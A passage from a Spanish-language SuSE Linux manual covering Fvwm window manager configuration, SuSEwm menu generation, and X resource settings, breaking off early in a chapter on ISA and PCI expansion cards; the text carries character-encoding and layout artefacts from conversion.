_________________________________________________________________________________________________9.4.__Ajustes_del_Fvwm_____*
*______________________
En realidad es muy recomendable generar un fichero de configuraci≤n indi-
vidual para cada usuario, para que Θste lo pueda modificar a su gusto. De-
spuΘs de haber modificado alg·n fichero de configuraci≤n hace falta reiniciar
el gestor de ventanas, para que las modificaciones tengan efecto.
La configuraci≤n de SuSE tiene por defecto una opci≤n en el `Work menu'
llamada `Window Manager' que permite el reinicio del WM. El efecto es
igual al de un reinicio del servidor-X.
9.4 Ajustes del Fvwm
Generalidades
Ahora le llega el turno al fichero de configuraci≤n personalizado que se
debe haber creado con anterioridad seg·n las explicaciones en en la pßgi-
na 278┐C≤mo usar SuSEwm ?subsection.9.5.1. Aparte de la posibilidad de
generar el fichero con susewm, se puede usar tambiΘn el fichero ~/.fvwm2rc
suministrado por los programadores de Fvwm, que se encuentra en el direc-
torio /usr/doc/packages/fvwm/system.fvwm2rc.
Primero se debe cargar el fichero ~/.fvwm2rc en el editor preferido y a
continuaci≤n se discuten las posibilidades de configuraci≤n.
┐QuΘ sucede al iniciar el Fvwm?
Se pueden repasar las lφneas hasta llegar al comentario que se indica en el
fichero 9.4.1.
_______________________________________________________________________________________________________________________
|||||||| ######################################################### |
|||||||| |
|||||||| # # |
|||||||| # initialization function head # |
|||||||| |
|||||||| # common to all wms # |
|||||||| # # |
|||||||| ######################################################### |
||||||||_______________________________________________________________________________________________________________ |
Fichero 9.4.1: InitFunction en el fichero ~/.fvwm2rc
Por debajo de estas lφneas se encuentran todos los procesos que se llevan a
cabo cuando el Fvwm2 se reinicia. Se carga el m≤dulo FvwmBanner que
representa el logotipo, se inician varios xterm tal como un xpmroot que
permite colocar imßgenes en el fondo (o sea en la ventana del superusuario
(ingl. Root Window)). Puede usar cualquier programa capaz de confeccionar
la imagen de fondo como p. ej. programmxli, xv , etc.
Por ejemplo para xv el comando serφa:
+ "I" Exec xv -quit -root -owncmap -maxpect ~/pics/imagen13.pnp
Se deberφa mencionar la imagen de fondo nuevamente bajo los procesos
que se llevan a cabo reiniciando el Fvwm, o sea incluirla en la funci≤n
RestartFunction . Esta se encuentra en el fichero 9.4.2 en la pßgina sigu-
iente.
Muchas veces las secciones InitFunction y RestartFunction se pare-
cen mucho, ya que ambas se encargan de iniciar el WM. No obstante, en
*
* 273
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________
| ######################################################### *
* |
| *
* |
||# # *
* ||
| # restart function # *
* |
| # common to all wms # *
* |
| # # *
* |
| ######################################################### *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 9.4.2: InitFunction en el fichero ~/.fvwm2rc
RestartFunction se descarta generalmente el reinicio de la imagen de fon-
do del Windowmanager.
Aparte de las funciones InitFunction y RestartFunction , existe una
funci≤n adicional llamada ExitFunction . El nombre ya indica que se trata
de una funci≤n de ''ordenar'' que permite indicar cußles son los programas
que se deben ejecutar antes del reinicio del WM o antes de salir del mismo.
Asφ se consigue p. ej. borrar la imagen de fondo antes de iniciar una nueva
con el reinicio del WM.
Colores y fuentes
Los ajustes para colores y fuentes se encuentran en el fichero 9.4.3.
________________________________________________________________________________________________________*
*________||
| ######################################################### *
* |
| # # *
* |
| *
* |
| # colors and fonts # *
* |
| # # *
* |
| ######################################################### *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 9.4.3: Ajustes de color y de fuente en el fichero ~/.fvwm2rc
Aquφ se puede modificar todo a gusto propio y elegir los colores que mßs
agraden entre los que estßn disponibles, que por otra parte dependen p. ej. de
la tarjeta grßfica. Pulse el bot≤n derecho del mouse y entre primero al men·
`System', despuΘs al men· `Information'. Allφ aparece la opci≤n `Color
palette', que muestra una ventana con todos los colores disponibles de los
que ahora se puede elegir uno. Los nombres de los colores se encuentran en
el fichero /usr/X11R6/lib/X11/rgb.txt.
Un poco mßs abajo se encuentran lφneas del siguiente tipo:
WindowFont -misc-fixed-bold-r-normal-*-13-*-75-75-c-80-iso8859-1
Se trata de una descripci≤n sistemßtica de un tipo de letra o fuente (ingl. font)
para el sistema X Window. Todas las fuentes se describen de una manera
semejante, sobre la que no se discuten aquφ sus detalles. Para simplificar
la definici≤n de sus nombres existe una serie de alias; todas las fuentes se
encuentran generalmente en el directorio /usr/X11R6/lib/X11/fonts en
cuyos subdirectorios existe un fichero fonts.alias. Este contiene las abre-
viaciones usuales para las fuentes:
variable -*-helvetica-bold-r-normal-*-*-120-*-*-*-*-iso8859-1
5x7 -misc-fixed-medium-r-normal--7-70-75-75-c-50-iso8859-1
274
_________________________________________________________________________________________________9.4.__Ajustes_del_Fvwm_____*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| # |
|||||||||## others ||
|||||||| |
|||||||| |
|||||||| Style "xterm" Icon Terminal.xpm |
|||||||| Style "xosview" NoTitle, Sticky |
|||||||| Style "xosview" UsePPosition |
||||||||_______________________________________________________________________________________________________________ |
Fichero 9.4.4: Iconos para determinadas ventanas
Iconos
Los iconos se definen de la forma como lo indica el fichero 9.4.4.
En esta secci≤n se puede asignar un icono a las correspondientes aplica-
ciones. Lo ·nico que se debe tener en cuenta es que el icono se encuen-
tre en el IconPath (la rama que apunta a los iconos), que se define en las
primeras lφneas del fichero ~/.fvwm2rc. En principio se puede usar cualquier
icono de cualquiera de las ramas mencionadas por detrßs del denominador
PixmapPath .
Si un icono se encuentra en un directorio fuera de la rama mencionada, tendrφa
que indicar el nombre completo de este directorio.
En el caso de querer dar a GhostView un fantasma como icono, en la rama de
iconos encontrarß uno con el nombre ghostbusters.xpm. En este caso, se
a±ade la siguiente lφnea al pßrrafo:
Style "ghostview" Icon ghostbusters.xpm
íYa estß! De esta forma se pueden indicar los iconos para prßcticamente todas
las aplicaciones, pero la mayorφa ya tiene sus iconos estßndar. En todo caso,
se necesita saber el nombre correcto de la aplicaci≤n (mßs exacto: el nombre
de la ventana de la aplicaci≤n, ya que indicar xTerm en lugar de xterm no
funcionarφa). íAl fin y al cabo el gestor de ventanas administra ventanas!
Para conocer el nombre de una ventana se entra desde el men· `Windowman-
ager' ! `Modules' a `Ident' (Nombre de programa FvwmIdent ) y se
selecciona la ventana.
Cursor
Con el programa xsetroot es posible modificar la apariencia del cursor y (con
ciertas restricciones) la imagen de fondo. El programa se inicia con:
tux@tierra: > xsetroot -cursor <bitmapfile>
Aquφ <bitmapfile> representa un ''bitmap'' de libre elecci≤n. Los bitmaps
se encuentran por defecto en /usr/X11R6/include/X11/bitmaps. Se
puede seleccionar uno a su gusto o crear uno propio, p. ej. con bitmap .
Focus (Enfoque)
Una caracterφstica especialmente estimada de la familia de los Fvwm, es la
posibilidad de modificar en tiempo de ejecuci≤n el comportamiento de las
ventanas al cambiar la ventana activa. TambiΘn se puede guardar permanen-
temente en el fichero de configuraci≤n el comportamiento respecto a ''Focus''
y a ''Raising''.
*
* 275
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
Se denomina ''Enfoque'' a la propiedad del windowmanager de pasar las en-
tradas y clicks de mouse actuales hacia una determinada ventana. Para ello
existen 3 posibilidades:
o Se debe seleccionar una ventana con un click de mouse, para pasar p. ej.
con el teclado, comandos al proceso que se visualiza en ella. Este com-
portamiento es el estßndar en Windows u OS/2 y se llama en inglΘs Click
to focus.
o Desplazando la flecha del mouse sobre una ventana, Θsta se activa au-
tomßticamente. Este comportamiento se denomina Focus follows mouse.
Si la flecha del mouse sale de la ventana, Θsta se desactiva; tambiΘn es asφ
cuando la flecha se encuentra sobre el fondo.
o Una variaci≤n avanzada es el comportamiento Sloppy Focus que ofrecen
el Fvwm y el Fvwm95. En esta variante, el enfoque se comporta igual que
el Focus follows mouse, con la diferencia que el enfoque (la activaci≤n) se
queda con la ventana hasta que se selecciona otra, o sea que, el enfoque
se queda con la ventana tambiΘn cuando el puntero estß sobre el fondo.
El Fvwm permite configurar el comportamiento de activaci≤n (enfoque) para
cada ventana por separado. Como muchos otros ajustes, el del enfoque se
realiza con un comando ''Style''; el siguiente define el comportamiento como
ClickToFocus para todas las ventanas:
Style "*" ClickToFocus
De la misma forma se definen SloppyFocus y FocusFollowsMouse , siendo
esta ·ltima la configuraci≤n predeterminada de Fvwm.
9.4.1 Autoraise
Aparte de ''focus'' tambiΘn es interesante el comportamiento de ''raising'', que
determina cußndo una ventana se coloca en primer plano. El comportamiento
predeterminado es el de mantener siempre la posici≤n en relaci≤n a las demßs
ventanas (es decir: por detrßs o por delante). Con un click del mouse sobre el
borde o sobre la barra de tφtulo, la ventana pasa al primer plano.
Algunos usuarios estßn acostumbrados a que la ventana pase al primer
plano cuando el puntero del mouse estß sobre ella, comportamiento de-
nominado ''AutoRaising''. Solo tiene sentido activarlo en combinaci≤n
con FocusFollowsMouse o SloppyFocus , ya que no tiene efecto cuando
ClickToFocus estß activado (la configuraci≤n por defecto de Fvwm95).
Para activar AutoRaising se puede iniciar el m≤dulo AutoRaise del Fvwm
desde el men·, con: `Window Manager', `Modules', `AutoRaise
On/Off'. Para que se active permanentemente hace falta poner en el fichero
de configuraci≤n del Fvwm2 una entrada para la funci≤n InitFunction y
otra para RestartFunction :
Function InitFunction
+ "I" Module FvwmAuto 200
Function RestartFunction
+ "I" Module FvwmAuto 200
El valor 200 indica el tiempo de espera en milisegundos antes de pasar la
ventana al primer plano. Este tiempo de espera es muy razonable ya que sin
276
________________________________________________9.5.__Configuraci≤n_del_windowmanager_con_SuSEwm____________________________*
*______________________
Θl cualquier ventana ''tocada'' pasarφa inmediatamente al primer plano, lo que
puede provocar un continuo parpadeo :-)
9.5 Configuraci≤n del windowmanager con SuSEwm
┐QuΘ representa SuSEwm ?
El programa susewm (paquete susewm) simplifica la configuraci≤n de los
gestores de ventana (ingl. windowmanager) Fvwm1 , Fvwm , Fvwm95 , Bow-
man , AfterStep , Ctwm , WindowMaker , Mwm 2 y tambiΘn de los escritorios
KDE y GNOME .
Ya que Fvwm1, Fvwm 95, Bowman y AfterStep estßn basados en el mismo
gestor de ventanas, estos gestores se configuran de forma parecida y ofrecen
caracterφsticas similares.
SuSEwm ofrece un lenguaje abstracto de macros en el que se reunen todas
las posibilidades de configuraci≤n de todos los gestores de ventana. De esta
forma, el usuario no tiene que administrar cinco diferentes ficheros de config-
uraci≤n y puede disfrutar de todas las posibilidades de los gestores de ventana
sin necesidad de conocer las diferencias individuales entre ellos.
susewm configura incluso los windowmanager Ctwm , Mwm y WindowMak-
er , el kpanel del entorno KDE y el panel del entorno GNOME, que son todos
completamente diferentes. No se pueden configurar los men·s de estos WM
directamente desde el men· principal (como es p. ej. el caso del Fvwm), sino
que se generan siempre para todo el sistema mediante SuSEconfig .
Las diferencias de configuraci≤n se abarcan mediante entradas especφfi-
cas para acceder a las posibilidades particulares del gestor de ventanas en
cuesti≤n.
SuSEwm configura los men·s con los programas y los m≤dulos soportados
por el gestor de ventanas, en funci≤n de los paquetes de software realmente
instalados. No se generan entradas en el men· de acceso directo para progra-
mas que no lo estΘn.
Otras caracterφsticas especiales de SuSEwm son:
o Posibilidad de configuraci≤n de diez gestores de ventana o entornos de es-
critorio: Fvwm , Fvwm1 , Fvwm95 , Bowman , AfterStep , Ctwm , Mwm ,
WindowMaker , GNOME Panel y KDE Panel .
o Un directorio central de librerφas para todos los gestores de ventana y,
macros uniformes, para los distintos ficheros de configuraci≤n.
o Ficheros de configuraci≤n adicionales para los distintos gestores de ven-
tana, para respetar sus particularidades.
o Consideraci≤n de ficheros de configuraci≤n adicionales para los gestores
de ventana. Ademßs se consideran las variables en /etc/rc.config
para la configuraci≤n global.
o Consideraci≤n de ficheros fuente de los usuarios durante la configuraci≤n
automßtica,_en_el_directorio_de_usuario._____________
2 El gestor de ventanas MWM forma parte de Motif (comercial); el paquete lesstif contiene
una versi≤n libre.
*
* 277
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
o Generaci≤n de ficheros de configuraci≤n especφficos para los usuarios,
considerando ampliamente las modificaciones (de ficheros de configu-
raci≤n antiguos) hechas por el usuario.
o Incorporaci≤n de programas comerciales de amplia difusi≤n a la hora de
generar los men·s, aunque estos no formen parte de SuSE Linux.
o Cambio arbitrario entre los windowmanager soportados en tiempo de
ejecuci≤n sin necesidad de modificar scripts de arranque, como p. ej.
~/.xinitrc; funciona si el gestor de ventana lo permite.
9.5.1 A±adir opciones al men·
Para a±adir opciones al men· de SuSE , hace falta generar un fichero tal como
lo muestra el fichero de ejemplo 9.5.1.
________________________________________________________________________________________________________*
*________||
| Name=Printer *
* |
| Name[es]=Impresora *
* |
| Comment=Show all printers *
* |
| Comment[es]=Mostar todas las impresoras. *
* |
| Exec=klp *
* |
| *
* |
| MiniIcon=printer.xpm *
* |
| Icon=printer.xpm *
* |
| Type=Application *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 9.5.1: Fichero .lnk del SuSEwm para opciones del men·
Muy importantes son las entradas para Name[...] y Exec , ya que las demßs
son opcionales. Indicando Type=TEXT , todos los programs se ejecutarßn en
un terminal.
Hay que seguir una nomenclatura, para que la entrada se genere correcta-
mente: <paquete>.<bin>.lnk debe ser el nombre del fichero, donde
<packet> indica el nombre del paquete RPM que contiene el programa en
cuesti≤n. Si el programa no se ha instalado mediante un paquete RPM, es
posible indicar <susewm>. <bin> puede ser cualquier cadena de carac-
teres, normalmente el nombre del programa o una abreviaci≤n. Por lo demßs
el nombre de fichero debe terminar en .lnk.El fichero mismo se copia aden-
tro de un directorio por debajo de /etc/X11/susewm/AddEntrys. La nueva
opci≤n aparece en el sub-men· que corresponde al directorio en el cual se ha
guardado el fichero.
┐C≤mo usar SuSEwm ?
Normalmente YaST inicia SuSEwm despuΘs de la instalaci≤n de paquetes
y se encarga de adaptar todas las configuraci≤n al nivel de todo el sistema.
Como usuario se usa SuSEwm en dos casos:
o Si a·n no tiene ning·n fichero de configuraci≤n de un windowmanager,
pero desea generar uno para configurar un entorno de trabajo propio in-
dependiente del entorno al nivel de todo el sistema.
o Ya tiene un fichero de configuraci≤n para el windowmanager pero ha in-
stalado o ha quitado programas con YaST y los men·s ya no concuerdan.
278
________________________________________________9.5.__Configuraci≤n_del_windowmanager_con_SuSEwm____________________________*
*______________________
Requisitos
Se supone lo siguiente:
o Ha entrado al sistema como usuario normal (p. ej. usando el usuario
de ejemplo que se genera instalando con YaST ), no como superusuario
`root'.
o En YaST se ha configurado English como idioma del men·; para los
men·s en otros idiomas todo es similar.
Ahora el c≤mo: Haciendo un click con el bot≤n izquierdo del mouse sobre
el fondo (ingl. root window) se abre un men·. Es algo que solo funciona
con un windowmanager para el cual SuSEwm es capaz de generar un fichero
de configuraci≤n propio dentro del directorio HOME ~ p. ej. funciona con los
windowmanager de la familia Fvwm. El men· que aparece tiene el tφtulo
`Work menu' y contiene los programas de uso mßs frecuente (depende del
punto de vista) en el mundo Unix.
La ·ltima opci≤n en este men· (`Window Manager') contiene un sub-men·
con opciones que permiten modificar la configuraci≤n del windowmanager
en ejecuci≤n. Si lo que se desea es modificar otro windowmanager, debe
cambiarse primero a este `Other window managers'. Una de las opciones
se llama `Create configuration file' y contiene una entrada para cada
idioma posible, que permite generar para el windowmanager en ejecuci≤n un
fichero de configuraci≤n dentro del directorio HOME.
Estas opciones se visualizan en la figura 9.10 en la pßgina siguiente, que
muestra el `Work menu' de Fvwm .
Seleccionando la segunda o la tercera opci≤n aparecerß una ventana en la cual
se ejecuta mksusewmrc (este programa forma parte del paquete SuSEwm ).
Repase el texto que aparece en pantalla y pulse los botones correspondientes
cuando el programa lo pida.
íYa estß! Ahora se puede modificar a gusto propio el fichero de configu-
raci≤n reciΘn generado. susewm incorporarß estas modificaciones al fichero
de configuraci≤n en cuanto se inicie la pr≤xima vez. SuSEwm crea ademßs
un fichero con la extensi≤n .orig que no se debe modificar para que los
cambios tengan efecto.
_______________________________________________________________________________________________________________________||
|||||||| Si no se desea modificar demasiado el escritorio, se debe generar primero ||| |
|||||||| el fichero de configuraci≤n como se ha explicado antes y despuΘs modifi- || |
|||||||| || |
|||||||| carlo. || |
|||||||| || |
|||||||| Si por el contrario, la idea es hacer un fichero de configuraci≤n completa- || |
|||||||| mente nuevo, no use SuSEwm . || |
||||||||_______________________________________________________________________________________________________________||_
Un ejemplo
Un escritorio con mucho color es bonito pero quizßs no sea muy prßctico si
el hardware (memoria, procesador, disco duro) no da abasto. Un gestor de
ventana no deberφa ocupar todos los recursos del sistema si se usa p. ej. una
cantidad excesiva de iconos e incluso si son animados.
*
* 279
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
| *
* |
________________________________________________________________________________________________________*
*________||||
| *
* |
|| *
* ||
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Figura 9.10: La vφa de entrada a la configuraci≤n del windowmanager
Por lo tanto, si la computadora va lenta cuando se inicia Fvwm o Fvwm95 ,
lo mßs probable es que sea por los varios centenares de iconos presentes en
los men·s que se cargan uno por uno. Para remediarlo hay tres opciones:
o En el men· de YaST `Administraci≤n del sistema', `Cambiar
archivo de configuraci≤n' poner SUSEWM_XPM=no . Si se ha cambi-
ado el valor de esta variable directamente en el fichero /etc/rc.config,
se debe ejecutar despuΘs SuSEconfig .
o Desinstalar el paquete 3dpixms y si se puede prescindir de los iconos
grandes, desinstalar tambiΘn el paquete 3dpixm.
o Quitar los iconos del fichero de configuraci≤n.
La primera opci≤n no precisa comentarios adicionales.
La segunda opci≤n tambiΘn es simple: Iniciar YaST , desinstalar los paquetes
mencionados y punto. YaST se encarga junto con SuSEwm y SuSEconfig
de adaptar el fichero de configuraci≤n global del windowmanager. Si se
tiene un fichero de configuraci≤n personal, hace falta realizar la actualizaci≤n
explφcitamente; para ello puede valerse del men· del windowmanager como
se explica en en la pßgina 278┐C≤mo usar SuSEwm ?subsection.9.5.1.
La primera opci≤n no precisa comentarios adicionales.
La tercera opci≤n: Si a·n no dispone de un fichero de configuraci≤n personal,
puede generarlo tal como se ha explicado en el apartado 9.5.1 en la pßgi-
na 278┐C≤mo usar SuSEwm ?subsection.9.5.1. DespuΘs se deben reemplazar
280
______________________________________________________9.6.__Configuraci≤n_general_del_sistema_X_Window______________________*
*______________________
todas las entradas de men· que contienen referencias a iconos, como lo mues-
tra el fichero 9.5.2; la situaci≤n inicial que muestra el fichero 9.5.2 se debe
modificar seg·n el ejemplo en el fichero 9.5.3.
_______________________________________________________________________________________________________________________||
|||||||| |
|||||||| AddToMenu thiswmpopup "Fvwm2" Title |
|||||||| |
|||||||| |
|||||||| + "Other windowmanager%small.warning_3d.xpm%" Popup otherwmpopup |
|||||||| + "Configuration%small.checklist2_3d.xpm%" Popup susewmpopup |
|||||||| + "" Nop |
|||||||| + "Fvwm2 Restart%small.restart_suse_3d.xpm%" Restart fvwm2 |
|||||||| |
|||||||| + "Exit Fvwm2 and X%small.exit.xpm%" Function QuitSave |
|||||||| |
|||||||| # end popup thiswmpopup |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero 9.5.2: .fvwm2rc con iconos para los men·s
_______________________________________________________________________________________________________________________||
|||||||| |
|||||||| AddToMenu thiswmpopup "Fvwm2" Title |
|||||||| |
|||||||| |
|||||||| + "Other windowmanager" Popup otherwmpopup |
|||||||| + "Configuration" Popup susewmpopup |
|||||||| + "" Nop |
|||||||| + "Fvwm2 Restart" Restart fvwm2 |
|||||||| |
|||||||| + "Exit Fvwm2 and X" Function QuitSave |
|||||||| |
|||||||| # end popup thiswmpopup |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero 9.5.3: .fvwm2rc sin iconos para los men·s
Con esta preparaci≤n, el Fvwm y el Fvwm95 deberφan iniciarse bastante mßs
rßpido. Para que las modificaciones del fichero de configuraci≤n personal
sean permanentes, inicie nuevamente SuSEwm .
9.6 Configuraci≤n general del sistema X Window
Ahora es el momento de preocuparse del aspecto ≤ptico y de las funciones
del escritorio ~ por quΘ quedarse con la configuraci≤n por defecto si existe la
posibilidad de adaptar todo a sus necesidades.
Existen dos posibilidades para tocar la configuraci≤n:
o Los ajustes previos para las aplicaciones del sistema X Window
o El o los ficheros de configuraci≤n del windowmanager, presentados en en
la pßgina 272Ficheros de configuraci≤n del Fvwmsection.9.3.
Ajustes previos de aplicaciones del sistema X Window
Ajustes globales
Prßcticamente todas las aplicaciones programadas para el sistema X Window
tienen una configuraci≤n por defecto. Esta se encuentra en un fichero que
pertenece a la aplicaci≤n y que se copia durante la instalaci≤n, generalmente
al directorio /usr/X11R6/lib/X11/app-defaults. En este directorio se
*
* 281
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
encuentran ficheros como Xarchie, que como ya lo indica su nombre, se
trata del fichero de configuraci≤n central del programa xarchie . Mirando
el fichero p. ej. con el comando less Xarchie (ver Abschnitt 19.7.3 en la
pßgina 474El contenido de los ficherossubsection.19.7.3), se podrß ver lφneas
como la siguiente:
Xarchie.color*background: powder blue
No hay que asustarse por las lφneas un poco crφpticas y tampoco hace falta
entender directamente todos los comandos. Cada programa desarrollado para
el sistema X Window estß formado por ''widgets''. Hay que entender un
widget como un elemento de construcci≤n.
Se distingue un widget-principal que representa la ventana principal de la
aplicaci≤n que se evoca primero. Los demßs widgets son ''hijos'' de Θste, lo
que significa que cada widget tiene exactamente un ''antecesor'' y ninguno,
uno o varios ''descendientes''; cada widget recibe un nombre ·nico.
No se debe confundir ventanas con widgets; p. ej. una barra de desplaza-
miento (ingl. scrollbar) es una ventana propia (una ventana sin ninguna deco-
raci≤n), mientras que un widget se forma p. ej. de una barra de desplazamien-
to, un campo con texto y mßs (serφa un widget complejo).
Como los widgets se despliegan en forma de ßrbol, se habla tambiΘn de un
ßrbol de widgets en el cual cada ventana tiene un nombre determinado. Por
lo tanto, es posible acceder a cualquier ventana de un programa a travΘs de su
nombre.
A continuaci≤n el significado de la lφnea de comando anterior:
o La primera palabra hasta el punto (Xarchie ) es el nombre del toplevel-
widget (widget-principal) de la aplicaci≤n xarchie (los nombres de las
configuraciones por defecto que son generales para todos los widgets,
comienzan por regla general con may·scula).
o DespuΘs del punto sigue `color' que evidentemente representa el color.
o A continuaci≤n viene un asterisco, que tambiΘn podrφa ser un punto:
~ Un punto significa que, en cuanto a la jerarquφa, no hay ninguna ven-
tana entre estas dos.
~ Un asterisco indica que puede haber una o varias ventanas entre ellas.
o La palabra ''background'' indica finalmente el cambio de color. Se puede
indicar cualquier color definido. El fichero /usr/X11R6/lib/X11/rgb.
txt contiene una lista con todos los colores vßlidos en el sistema X Win-
dow.
Ajustes personalizados
Cada usuario puede ~ por supuesto ~introducir ajustes personalizados. Para
ello existe en el directorio HOME de cada usuario un fichero ~/.Xresources.
El `.' por delante del nombre indica que se trata de un fichero ''escondi-
do''; acerca de ficheros ''escondidos'' vΘase el apartado 19.7.4 en la pßgi-
na 475Ficheros ocultossubsection.19.7.4.
Este fichero recibe entonces los ajustes personalizados, que le permiten in-
dicar p. ej. , que todas las ventanas deben tener un fondo amarillo aparte de la
ventana principal, que debe salir en rojo.
282
______________________________________________________9.6.__Configuraci≤n_general_del_sistema_X_Window______________________*
*______________________
Volviendo al ejemplo de arriba, existe la posibilidad de sobreescribir los
ajustes por defecto de los ficheros globales app-defaults con aquellos he-
chos en el fichero personal ~/.Xresources; p. ej. para que en su escritorio
(ísolo en el suyo!) la aplicaci≤n xarchie se inicie con un fondo de color oro,
escriba la siguiente lφnea en el fichero ~/.Xresources:
Xarchie.color*background: gold
No solo puede modificar los colores sino casi todas las propiedades de las
ventanas en su escritorio. Para ello existe un programa muy ·til que se llama
editres (ingl. edit resources) que permite visualizar y modificar los recursos
de una aplicaci≤n.
A continuaci≤n algunos ajustes a modo de ejemplo, que se pueden definir:
Xarchie.color*background: powder blue
Xarchie.color*SimpleMenu*background: wheat
Xarchie.color*Command*background: wheat
Xarchie.color*MenuButton*background: wheat
Xarchie.color*Text*background: wheat
Xarchie*font: 9x15
En principio se pueden modificar de esta manera casi todas las propiedades de
un programa para el sistema X Window, pero en la realidad, los ajustes estßn
generalmente limitados a los colores, las fuentes de caracteres y la geometrφa
(posici≤n y tama±o) de la ventana.
La Manpage del programa o el correspondiente fichero en app-defaults
muestran por lo general las opciones disponibles.
El fichero /usr/X11R6/lib/X11/rgb.txt contiene los nombres de los
colores vßlidos y los programas xfontsel y xlsfonts muestran las fuentes
disponibles.
Ajustes al inicio de la aplicaci≤n
La tercera posibilidad para modificar la apariencia de una aplicaci≤n es la de
pasar parßmetros en el momento del inicio. Se pueden poner tambiΘn estos
parßmetros adentro del fichero de configuraci≤n del gestor de ventanas, si es
que inicia el programa desde este fichero.
Por ejemplo, se puede iniciar explφcitamente un programa usando un color
para los caracteres y otro para el fondo (bg = ''background'', fg = ''fore-
ground''), si el programa en cuesti≤n lo soporta:
xterm -bg darkblue -fg white
El resultado de este comando es una Xterm azul con letras en blanco.
┐C≤mo se realizan las nuevas configuraciones?
Los ajustes globales que afectan a todo el sistema se activan cuando el sistema
X Window se inicia. El mismo servidor X administra estos ajustes en un
banco de datos de recursos (ingl. X Resource DataBase, xrdb). Para activar
los cambios en la configuraci≤n global, es preciso cargar el banco de datos de
recursos nuevamente y a mano. Esto se lleva a cabo con el siguiente comando:
tux@tierra: > xrdb ~/.Xresources
*
* 283
9. El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
*_______________________________________@
Cuando el servidor X se inicia, existe un determinado orden en el cual se
procesan los ajustes para las distintas aplicaciones.
o Primero se leen los ajustes globales para la aplicaci≤n en cuesti≤n desde
el fichero /usr/X11R6/lib/X11/app-defaults.
o Si tambiΘn existen ajustes propios en el fichero ~/.Xresources de su
directorio de usuario, estos se superponen a los ajustes globales.
o La mßxima prioridad la tienen los parßmetros que se indican explφcita-
mente en el momento de iniciar la aplicaci≤n. Estos parßmetros se pueden
indicar en la lφnea de comandos o en el fichero de configuraci≤n del gestor
de ventanas.
El programa xrdb indica los ajustes momentßneos:
tux@tierra: > xrdb -q
puede tener la siguiente respuesta:
emacs*geometry: 100x45-5-5
netscape.geometry: 610x760+140+30
xdvi*geometry: 720x895+250+5
Finalmente un consejo prßctico:
________________________________________________________________________________________________________*
*________||
| En el caso de que un programa no se modifique con los nuevos ajustes *
* ||||
| (p. ej. otro juego de caracteres) aunque estos hayan sido realizados explφci- *
* |||
| *
* |||
| tamente en ~/.Xresources y se haya procesado de nuevo el banco de *
* |||
| datos de recursos, se debe comprobar entonces la coincidencia de may·s- *
* |||
| *
* |||
| culas y min·sculas en los nombres de los widgets. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
284
Parte V
Hardware bajo Linux
285
Capφtulo 10
Linux y el hardware adicional
10.1 Introducci≤n
Hoy en dφa es posible incorporar la mayorφa de los perifΘricos y hardware adi-
cional a un PC con Linux, con un esfuerzo que depende en gran parte del caso
concreto. Este capφtulo explica los detalles del ''c≤mo'' y menciona el soft-
ware a disposici≤n. El tema de la impresi≤n ya fue tratado en el capφtulo 12
en la pßgina 325Impresoraschapter.12 , el de enviar Fax en el apartado 6.10
en la pßgina 209Linux + Fax: íUna buena combinaci≤n!section.6.10 y el uso
de RDSI en el apartado 6.2 en la pßgina 173Acceso a Internet vφa RDSI ~
la configuraci≤nsection.6.2. El hardware especial para los portßtiles como
son las tarjetas PCMCIA y los dispositivos IrDA es tema del capφtulo 11 en la
pßgina 309Portßtiles ~ PCMCIA, APM, IrDAchapter.11.
10.2 Tarjetas de expansi≤n
En una PC estßndar se utilizan mayoritariamente tarjetas de expansi≤n del
tipo ISA (''Industry Standard Architecture'') o del tipo PCI- (''Peripheral
Component Interconnect'').
El bus AGP (''Accelerated Graphics Port'') es una cierta excepci≤n, ya que
los dispositivos que se encuentran sobre Θl se ''ven'' tambiΘn en el bus PCI.
Ademßs no se diferencian en su tratamiento l≤gico. ~ Las tarjetas del tipo
PCMCIA se encuentran sobre todo en los portßtiles ; la configuraci≤n de
estas se explica en el capφtulo 11 en la pßgina 309Portßtiles ~ PCMCIA, APM,
IrDAchapter.11.
10.2.1 Tarjetas ISA y PCI
Los siguientes apartados exponen el funcionamiento de las tarjetas ISA y PCI;
su configuraci≤n se explica mediante el ejemplo de una tarjeta de sonido.
Tarjetas ISA
Estas tarjetas representan la forma mßs antigua de las tarjetas de expansi≤n
para PC. El bus es de 8 o 16 bit y su frecuencia mßxima es de 8 MHz. Muchas
placas base permiten el aumento de la frecuencia, pero esto puede producir
problemas. Hay tres categorφas de tarjetas ISA:
*
* 287
10. Linux y el hardware_adicional_________________________________________________________________________________________________*
*_______________________________________@
Legacy-Cards: Estas tarjetas se configuran completamente ''a mano''. El
usuario tiene que configurar los recursos como direcci≤n de E/S, Inter-
rupciones y canales DMA mediante ''jumpers'' o ''microswitch'', tratando
de evitar el uso duplicado de recursos por parte de las tarjetas. Por lo tanto
la configuraci≤n de estas tarjetas puede ser complicada.
Jumperless-Cards: En comparaci≤n a la primera generaci≤n de tarjetas, Θs-
tas ya no exigen la configuraci≤n mediante ''jumper'', si no que se config-
uran con un programa especial. Este programa normalmente existe solo
para DOS, por lo que no se puede usar en Linux.
PnP-Cards: Las tarjetas ''Plug and Play'' son el avance l≤gico de las
''Jumperless-Cards''. Las tarjetas reciben una lista sobre las configu-
raciones posibles y un programa o driver especial se encarga de consultar
las configuraciones de todas las tarjetas PnP del sistema, configurßndolas
